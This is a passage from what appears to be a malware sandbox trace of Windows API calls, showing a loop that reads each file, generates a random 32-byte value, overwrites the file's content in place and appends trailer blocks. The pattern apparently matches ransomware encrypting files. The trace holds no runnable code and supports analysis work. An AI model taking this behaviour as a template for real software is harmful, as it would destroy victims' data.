Flags=0x0, Size=0x8) returned 0x333ff40 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.152] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.153] GetProcessHeap () returned 0x540000 [0087.153] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.153] GetProcessHeap () returned 0x540000 [0087.154] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.154] GetProcessHeap () returned 0x540000 [0087.154] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.155] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.155] WriteFile (in: hFile=0x96c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.155] WriteFile (in: hFile=0x96c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.155] GetProcessHeap () returned 0x540000 [0087.155] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.156] GetProcessHeap () returned 0x540000 [0087.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.156] CloseHandle (hObject=0x96c) returned 1 [0087.157] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 125 [0087.157] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.157] ReadFile (in: hFile=0x970, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.157] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.157] GetProcessHeap () returned 0x540000 [0087.157] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.157] GetProcessHeap () returned 0x540000 [0087.157] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.157] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.158] GetProcessHeap () returned 0x540000 [0087.158] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.158] ReadFile (in: hFile=0x970, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.206] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.206] WriteFile (in: hFile=0x970, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.207] GetProcessHeap () returned 0x540000 [0087.207] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.208] GetProcessHeap () returned 0x540000 [0087.208] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.208] GetProcessHeap () returned 0x540000 [0087.209] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.209] GetProcessHeap () returned 0x540000 [0087.209] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.209] GetProcessHeap () returned 0x540000 [0087.210] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.210] GetProcessHeap () returned 0x540000 [0087.210] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.211] GetProcessHeap () returned 0x540000 [0087.211] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.211] GetProcessHeap () returned 0x540000 [0087.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.212] GetProcessHeap () returned 0x540000 [0087.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.212] GetProcessHeap () returned 0x540000 [0087.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.212] GetProcessHeap () returned 0x540000 [0087.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.212] GetProcessHeap () returned 0x540000 [0087.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.212] GetProcessHeap () returned 0x540000 [0087.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.212] GetProcessHeap () returned 0x540000 [0087.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.212] GetProcessHeap () returned 0x540000 [0087.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.212] GetProcessHeap () returned 0x540000 [0087.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.212] GetProcessHeap () returned 0x540000 [0087.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.212] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.212] WriteFile (in: hFile=0x970, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.213] WriteFile (in: hFile=0x970, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.213] GetProcessHeap () returned 0x540000 [0087.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.213] GetProcessHeap () returned 0x540000 [0087.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.213] GetProcessHeap () returned 0x540000 [0087.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.213] CloseHandle (hObject=0x970) returned 1 [0087.214] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 126 [0087.214] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.214] ReadFile (in: hFile=0x974, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.214] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.214] GetProcessHeap () returned 0x540000 [0087.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.214] GetProcessHeap () returned 0x540000 [0087.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.214] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.214] GetProcessHeap () returned 0x540000 [0087.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.214] ReadFile (in: hFile=0x974, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0xa27, lpOverlapped=0x0) returned 1 [0087.245] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0xfffff5d9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.245] WriteFile (in: hFile=0x974, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0xa27, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0xa27, lpOverlapped=0x0) returned 1 [0087.245] GetProcessHeap () returned 0x540000 [0087.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.245] GetProcessHeap () returned 0x540000 [0087.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.245] GetProcessHeap 